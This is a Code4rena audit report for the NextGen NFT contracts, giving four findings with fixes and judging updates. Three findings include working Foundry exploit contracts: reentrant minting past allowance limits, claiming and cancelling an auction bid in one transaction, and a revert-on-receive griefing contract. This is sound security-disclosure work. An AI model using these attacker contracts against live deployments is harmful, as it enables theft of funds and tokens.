Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 26/243
Findings: 4
Award: $558.22
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L198 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L231 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/ERC721.sol#L237-L251 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/ERC721.sol#L400-L422
The minting process utilizes the _safeMint
function, which calls the onERC721Received
callback function on the recipient during the transfer if the recipient is a contract.
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer" ); } ... function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) { ... } }
At this moment, an attacker is able to re-enter the mint
function.
The number of tokens minted by a user is updated after minting.
function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } } }
Therefore, an attacker can bypass the maximum allowance limitation and mint an arbitrary number of tokens.
To test the POC, first initialize a foundry project. In the repository's root folder, execute the following commands:
mkdir foundry && cd foundry forge init --no-commit cp ../smart-contracts/* src
Next, add the POC.t.sol
file to the test
folder.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Test} from "forge-std/Test.sol"; import {NextGenAdmins} from "../src/NextGenAdmins.sol"; import {randomPool} from "../src/XRandoms.sol"; import {NextGenCore} from "../src/NextGenCore.sol"; import {NextGenRandomizerNXT} from "../src/RandomizerNXT.sol"; import {DelegationManagementContract} from "../src/NFTdelegation.sol"; import {NextGenMinterContract} from "../src/MinterContract.sol"; import {Ownable} from "../src/Ownable.sol"; import {IERC721} from "../src/IERC721.sol"; import {IERC721Receiver} from "../src/IERC721Receiver.sol"; contract POC is Test { address immutable admin = makeAddr("admin"); address immutable attacker = makeAddr("attacker"); uint256 constant MAX_ALLOWANCE = 1; uint256 constant MAX_COLLECTION_PURCHASES = 1; uint256 constant COLLECTION_TOTAL_SUPPLY = 1000; uint256 constant MINT_COST = 0.1 ether; NextGenAdmins admins; randomPool randoms; NextGenCore core; NextGenRandomizerNXT randomizer; DelegationManagementContract delegate; NextGenMinterContract minter; uint256 collectionId; Attack attack; function setUp() external { vm.startPrank(admin); // Deployment admins = new NextGenAdmins(); randoms = new randomPool(); core = new NextGenCore("Next Gen Core", "NEXTGEN", address(admins)); randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(core)); delegate = new DelegationManagementContract(); minter = new NextGenMinterContract(address(core), address(delegate), address(admins)); // Create a collection collectionId = core.newCollectionIndex(); string[] memory collectionScript = new string[](1); collectionScript[0] = "desc"; core.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com","CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript ); core.setCollectionData( collectionId, makeAddr("artist"), MAX_COLLECTION_PURCHASES, COLLECTION_TOTAL_SUPPLY, 0 ); core.addRandomizer(collectionId, address(randomizer)); core.addMinterContract(address(minter)); minter.setCollectionCosts(collectionId, MINT_COST, 0, 0, 0, 0, address(0)); vm.stopPrank(); // The attacker deploys the contract vm.prank(attacker); attack = new Attack(minter); } function testAllowListMintReentrancy() external { // The attacker's contract was added to the allow list bytes memory node1 = abi.encodePacked(address(attack), MAX_ALLOWANCE, ""); bytes memory node2 = abi.encodePacked(makeAddr("user"), MAX_ALLOWANCE, ""); bytes32 merkleRoot = keccak256(abi.encodePacked(keccak256(node2), keccak256(node1))); bytes32[] memory merkleProof = new bytes32[](1); merkleProof[0] = keccak256(node2); vm.prank(admin); minter.setCollectionPhases( collectionId, block.timestamp, // _allowlistStartTime block.timestamp + 1 days, // _allowlistEndTime block.timestamp + 1 days, // _publicStartTime block.timestamp + 2 days, // _publicEndTime merkleRoot ); uint256 numberOfTokens = MAX_ALLOWANCE * 100; vm.deal(attacker, MINT_COST * numberOfTokens); vm.prank(attacker); attack.mint{value: MINT_COST * numberOfTokens}( collectionId, numberOfTokens, MAX_ALLOWANCE, "", merkleProof ); // The attacker minted more tokens than allowed assertEq(core.balanceOf(attacker), numberOfTokens); assert(numberOfTokens > MAX_ALLOWANCE); } function testPublicSaleMintReentrancy() external { vm.prank(admin); minter.setCollectionPhases( collectionId, block.timestamp, // _allowlistStartTime block.timestamp, // _allowlistEndTime block.timestamp + 1 days, // _publicStartTime block.timestamp + 2 days, // _publicEndTime "" ); vm.warp(block.timestamp + 1 days); uint256 numberOfTokens = MAX_COLLECTION_PURCHASES * 100; vm.deal(attacker, MINT_COST * numberOfTokens); vm.prank(attacker); attack.mint{value: MINT_COST * numberOfTokens}( collectionId, numberOfTokens, 0, "", new bytes32[](0) ); // The attacker minted more tokens than allowed assertEq(core.balanceOf(attacker), numberOfTokens); assert(numberOfTokens > MAX_COLLECTION_PURCHASES); } } contract Attack is Ownable { NextGenMinterContract minter; uint256 collectionId; uint256 numberOfTokens; uint256 maxAllowance; string tokenData; address mintTo; bytes32[] merkleProof; uint256 tokensMinted; constructor(NextGenMinterContract _minter) { minter = _minter; } function mint( uint256 _collectionId, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, bytes32[] memory _merkleProof ) external payable onlyOwner { collectionId = _collectionId; numberOfTokens = _numberOfTokens; maxAllowance = _maxAllowance; tokenData = _tokenData; merkleProof = _merkleProof; tokensMinted = 0; _mint(); } function _mint() internal { uint256 price = minter.getPrice(collectionId); minter.mint{value: price}( collectionId, 1, maxAllowance, tokenData, address(this), merkleProof, address(0), 0 ); } function onERC721Received( address, address, uint256 tokenId, bytes calldata ) external returns (bytes4) { IERC721(msg.sender).transferFrom(address(this), owner(), tokenId); if (numberOfTokens > ++tokensMinted) { _mint(); } return IERC721Receiver.onERC721Received.selector; } }
Run tests using:
forge test
Manual review
Follow the Checks-Effects-Interactions pattern, ensure that all contract state changes are made before external interactions or implement reentrancy guard modifiers.
diff --git a/smart-contracts/NextGenCore.sol b/smart-contracts/NextGenCore.sol index 6d294ed..c84091f 100644 --- a/smart-contracts/NextGenCore.sol +++ b/smart-contracts/NextGenCore.sol @@ -190,12 +190,12 @@ contract NextGenCore is ERC721Enumerable, Ownable, ERC2981 { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { - _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } + _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); } }
Reentrancy
#0 - c4-pre-sort
2023-11-19T13:23:49Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:02:01Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:34:52Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:40:15Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:18Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105
A bid can be canceled until the block timestamp is less than or equal to the auction end time.
function cancelBid(uint256 _tokenid, uint256 index) public { require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); ... }
The winner may claim the token when the block timestamp becomes greater than or equal to the auction end time.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); ... }
Since the timestamp value is generated by a miner and can be adjusted within a 15-minute range, an attacker could potentially craft a transaction with a timestamp precisely matching the auction end time.
As a result, an attacker has the ability to both claim a token and cancel the bid in a single transaction. In this scenario, some of the other participants may not receive a refund, as there would not be sufficient funds in the contract balance.
In order to reclaim their funds before the auction owner transfers the bid value, the attacker can utilize the onERC721Received
callback function.
To test the POC, first initialize a foundry project. In the repository's root folder, execute the following commands:
mkdir foundry && cd foundry forge init --no-commit cp ../smart-contracts/* src
Next, add the POC.t.sol
file to the test
folder.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Test} from "forge-std/Test.sol"; import {NextGenAdmins} from "../src/NextGenAdmins.sol"; import {randomPool} from "../src/XRandoms.sol"; import {NextGenCore} from "../src/NextGenCore.sol"; import {NextGenRandomizerNXT} from "../src/RandomizerNXT.sol"; import {DelegationManagementContract} from "../src/NFTdelegation.sol"; import {NextGenMinterContract} from "../src/MinterContract.sol"; import {auctionDemo} from "../src/AuctionDemo.sol"; import {IERC721} from "../src/IERC721.sol"; import {IERC721Receiver} from "../src/IERC721Receiver.sol"; contract POC is Test { address immutable admin = makeAddr("admin"); address immutable attacker = makeAddr("attacker"); uint256 constant MAX_COLLECTION_PURCHASES = 1; uint256 constant COLLECTION_TOTAL_SUPPLY = 1000; uint256 constant MINT_COST = 0.1 ether; uint256 constant BID = 0.1 ether; NextGenAdmins admins; randomPool randoms; NextGenCore core; NextGenRandomizerNXT randomizer; DelegationManagementContract delegate; NextGenMinterContract minter; auctionDemo auction; uint256 collectionId; function setUp() external { vm.startPrank(admin); // Deployment admins = new NextGenAdmins(); randoms = new randomPool(); core = new NextGenCore("Next Gen Core", "NEXTGEN", address(admins)); randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(core)); delegate = new DelegationManagementContract(); minter = new NextGenMinterContract(address(core), address(delegate), address(admins)); auction = new auctionDemo(address(minter), address(core), address(admins)); // Create a collection collectionId = core.newCollectionIndex(); string[] memory collectionScript = new string[](1); collectionScript[0] = "desc"; core.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com","CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript ); core.setCollectionData( collectionId, makeAddr("artist"), MAX_COLLECTION_PURCHASES, COLLECTION_TOTAL_SUPPLY, 0 ); core.addRandomizer(collectionId, address(randomizer)); core.addMinterContract(address(minter)); minter.setCollectionCosts(collectionId, MINT_COST, 0, 0, 1, 0, address(0)); minter.setCollectionPhases( collectionId, block.timestamp, // _allowlistStartTime block.timestamp, // _allowlistEndTime block.timestamp + 1 days, // _publicStartTime block.timestamp + 2 days, // _publicEndTime "" ); vm.stopPrank(); } function testClaimAndCancelBid() external { vm.startPrank(admin); uint256 auctionEndTime = block.timestamp + 1 days; minter.mintAndAuction(admin, "", 0, collectionId, auctionEndTime); uint256 tokenId = core.tokenOfOwnerByIndex(admin, 0); core.approve(address(auction), tokenId); vm.stopPrank(); vm.deal(attacker, BID); vm.startPrank(attacker); Attack attack = new Attack(auction); attack.participateToAuction{value: BID}(tokenId); vm.warp(auctionEndTime); attack.claimAndCancelBid(tokenId); vm.stopPrank(); assertEq(core.ownerOf(tokenId), attacker); assertEq(attacker.balance, BID); } } contract Attack { auctionDemo auction; address owner; constructor(auctionDemo _auction) { auction = _auction; owner = msg.sender; } function participateToAuction(uint256 tokenId) external payable { auction.participateToAuction{value: msg.value}(tokenId); } function claimAndCancelBid(uint256 tokenId) external { auction.claimAuction(tokenId); } function onERC721Received( address, address, uint256 tokenId, bytes calldata ) external returns (bytes4) { IERC721(msg.sender).transferFrom(address(this), owner, tokenId); auction.cancelAllBids(tokenId); (bool success,) = payable(owner).call{value: address(this).balance}(""); require(success); return IERC721Receiver.onERC721Received.selector; } receive() external payable {} }
Run test using:
forge test
Manual review
diff --git a/smart-contracts/AuctionDemo.sol b/smart-contracts/AuctionDemo.sol index 95533fb..659f5cd 100644 --- a/smart-contracts/AuctionDemo.sol +++ b/smart-contracts/AuctionDemo.sol @@ -102,7 +102,7 @@ contract auctionDemo is Ownable { // claim Token After Auction function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ - require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); + require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
Invalid Validation
#0 - c4-pre-sort
2023-11-14T14:23:20Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-01T15:31:09Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T15:32:08Z
alex-ppg marked the issue as duplicate of #1788
#3 - c4-judge
2023-12-08T18:11:30Z
alex-ppg marked the issue as satisfactory
557.1267 USDC - $557.13
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L239-L253 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L181-L192
The mint
function contains a control mechanism for sell option 3, ensuring that only one token can be minted per period.
function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable { ... // control mechanism for sale option 3 if (collectionPhases[col].salesOption == 3) { uint timeOfLastMint; if (lastMintDate[col] == 0) { // for public sale set the allowlist the same time as publicsale timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod; } else { timeOfLastMint = lastMintDate[col]; } // uint calculates if period has passed in order to allow minting uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod; // users are able to mint after a day passes require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period"); lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1)); } }
If lastMintDate[col] == 0
(misinterpreted as indicating no tokens have been minted), the timeOfLastMint
is calculated as collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod
, overlooking viewCirSupply
- the number of minted tokens.
At the same time, the value of viewCirSupply
may not be zero if there was an airdrop before. This is because the airDropTokens
function mints the token but doesn't set lastMintDate
.
function airDropTokens(address[] memory _recipients, string[] memory _tokenData, uint256[] memory _saltfun_o, uint256 _collectionID, uint256[] memory _numberOfTokens) public FunctionAdminRequired(this.airDropTokens.selector) { require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data"); uint256 collectionTokenMintIndex; for (uint256 y=0; y< _recipients.length; y++) { collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID) + _numberOfTokens[y] - 1; require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply"); for(uint256 i = 0; i < _numberOfTokens[y]; i++) { uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); gencore.airDropTokens(mintIndex, _recipients[y], _tokenData[y], _saltfun_o[y], _collectionID); } } }
The subsequent assignment of the lastMintDate
takes into account the viewCirSupply
:
lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
Thus, if there was an airdrop, then one token can be minted after the sales phase started anyway, but the next mint is only possible after timePeriod
multiplied by the number of airdropped tokens.
Depending on the design, there may be different expectations regarding how it should work correctly, but one of the considered cases is not valid.
Let's look at an example:
viewCirSupply
= 30)allowlistStartTime
= 1700000000timePeriod
= 86400 (1 day)block.timestamp
= 1700000000First mint
call after the sales phase starts:
lastMintDate
== 0timeOfLastMint
= 1700000000 - 86400 = 1699913600lastMintDate
= 1700000000 + (86400 * (31 - 1)) = 1702592000 (in 30 days)Second mint
call:
lastMintDate
== 1702592000timeOfLastMint
= 1700000000 - 1702592000 = -2592000 (underflow, call reverts)mint
function will revert for the next 30 days)Manual review
Depending on the intended design:
timeOfLastMint
, consider the current viewCirSupply
, preventing unintended mints during the sale phase.lastMintDate
. This prevents airdrops from affecting the next allowed minting time.Other
#0 - c4-pre-sort
2023-11-19T13:20:57Z
141345 marked the issue as duplicate of #246
#1 - c4-judge
2023-12-07T11:58:48Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-07T11:59:05Z
alex-ppg marked the issue as duplicate of #2012
#3 - c4-judge
2023-12-07T12:25:22Z
alex-ppg changed the severity to 3 (High Risk)
#4 - c4-judge
2023-12-08T21:06:33Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.9407 USDC - $0.94
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/ERC721.sol#L161-L194 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/ERC721.sol#L400-L422
The claimAuction
function utilizes the safeTransferFrom
function, which calls the onERC721Received
callback function on the recipient during the transfer if the recipient is a contract.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ ... for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); ... } }
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer"); } ... function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) { ... } }
If the recipient contract does not implement the onERC721Received
function, the entire transaction will revert. This results in the auction owner being unable to receive payment, and other participants will not receive a refund.
Suppose a user mistakenly places a bid using a wallet contract that does not support NFTs and wins. If the contract is not upgradeable, the claimAuction
function will always revert, resulting in funds being stuck in the auction forever.
In another case, an attacker could create a contract wherein they control the behavior of the onERC721Received
function. Upon winning, the attacker may demand ransom from other participants and the auction owner - an amount exceeding their participation cost - forcing others to pay to finalize the auction and withdraw funds. In the worst-case scenario for the attacker, they may simply claim the token, likely valued at the money paid.
To test the POC, first initialize a foundry project. In the repository's root folder, execute the following commands:
mkdir foundry && cd foundry forge init --no-commit cp ../smart-contracts/* src
Next, add the POC.t.sol
file to the test
folder.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Test} from "forge-std/Test.sol"; import {NextGenAdmins} from "../src/NextGenAdmins.sol"; import {randomPool} from "../src/XRandoms.sol"; import {NextGenCore} from "../src/NextGenCore.sol"; import {NextGenRandomizerNXT} from "../src/RandomizerNXT.sol"; import {DelegationManagementContract} from "../src/NFTdelegation.sol"; import {NextGenMinterContract} from "../src/MinterContract.sol"; import {auctionDemo} from "../src/AuctionDemo.sol"; import {IERC721} from "../src/IERC721.sol"; import {IERC721Receiver} from "../src/IERC721Receiver.sol"; contract POC is Test { address immutable admin = makeAddr("admin"); address immutable attacker = makeAddr("attacker"); uint256 constant MAX_COLLECTION_PURCHASES = 1; uint256 constant COLLECTION_TOTAL_SUPPLY = 1000; uint256 constant MINT_COST = 0.1 ether; uint256 constant BID = 0.1 ether; NextGenAdmins admins; randomPool randoms; NextGenCore core; NextGenRandomizerNXT randomizer; DelegationManagementContract delegate; NextGenMinterContract minter; auctionDemo auction; uint256 collectionId; function setUp() external { vm.startPrank(admin); // Deployment admins = new NextGenAdmins(); randoms = new randomPool(); core = new NextGenCore("Next Gen Core", "NEXTGEN", address(admins)); randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(core)); delegate = new DelegationManagementContract(); minter = new NextGenMinterContract(address(core), address(delegate), address(admins)); auction = new auctionDemo(address(minter), address(core), address(admins)); // Create a collection collectionId = core.newCollectionIndex(); string[] memory collectionScript = new string[](1); collectionScript[0] = "desc"; core.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com","CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript ); core.setCollectionData( collectionId, makeAddr("artist"), MAX_COLLECTION_PURCHASES, COLLECTION_TOTAL_SUPPLY, 0 ); core.addRandomizer(collectionId, address(randomizer)); core.addMinterContract(address(minter)); minter.setCollectionCosts(collectionId, MINT_COST, 0, 0, 1, 0, address(0)); minter.setCollectionPhases( collectionId, block.timestamp, // _allowlistStartTime block.timestamp, // _allowlistEndTime block.timestamp + 1 days, // _publicStartTime block.timestamp + 2 days, // _publicEndTime "" ); vm.stopPrank(); } function testClaimAuction() external { vm.startPrank(admin); uint256 auctionEndTime = block.timestamp + 1 days; minter.mintAndAuction(admin, "", 0, collectionId, auctionEndTime); uint256 tokenId = core.tokenOfOwnerByIndex(admin, 0); core.approve(address(auction), tokenId); vm.stopPrank(); vm.deal(attacker, BID); vm.startPrank(attacker); Attack attack = new Attack(auction); attack.setRevertOnERC721Received(true); attack.participateToAuction{value: BID}(tokenId); vm.stopPrank(); vm.warp(auctionEndTime); vm.prank(admin); vm.expectRevert(); auction.claimAuction(tokenId); vm.prank(attacker); attack.setRevertOnERC721Received(false); vm.prank(admin); auction.claimAuction(tokenId); assertEq(core.ownerOf(tokenId), attacker); } } contract Attack { auctionDemo auction; address owner; bool revertOnERC721Received; constructor(auctionDemo _auction) { auction = _auction; owner = msg.sender; } function participateToAuction(uint256 tokenId) external payable { auction.participateToAuction{value: msg.value}(tokenId); } function setRevertOnERC721Received(bool _revert) external { require(msg.sender == owner); revertOnERC721Received = _revert; } function onERC721Received( address, address, uint256 tokenId, bytes calldata ) external returns (bytes4) { if (revertOnERC721Received) { revert(); } else { IERC721(msg.sender).transferFrom(address(this), owner, tokenId); } return IERC721Receiver.onERC721Received.selector; } }
Run test using:
forge test
Manual review
Consider segregating the claim token and funds transfer into distinct functions.
DoS
#0 - c4-pre-sort
2023-11-15T07:49:43Z
141345 marked the issue as duplicate of #1653
#1 - c4-pre-sort
2023-11-15T08:06:45Z
141345 marked the issue as duplicate of #843
#2 - c4-pre-sort
2023-11-16T13:36:17Z
141345 marked the issue as duplicate of #486
#3 - c4-judge
2023-12-01T22:35:26Z
alex-ppg marked the issue as not a duplicate
#4 - c4-judge
2023-12-01T22:35:43Z
alex-ppg marked the issue as duplicate of #1759
#5 - c4-judge
2023-12-08T22:13:49Z
alex-ppg marked the issue as satisfactory
#6 - c4-judge
2023-12-09T00:23:12Z
alex-ppg changed the severity to 2 (Med Risk)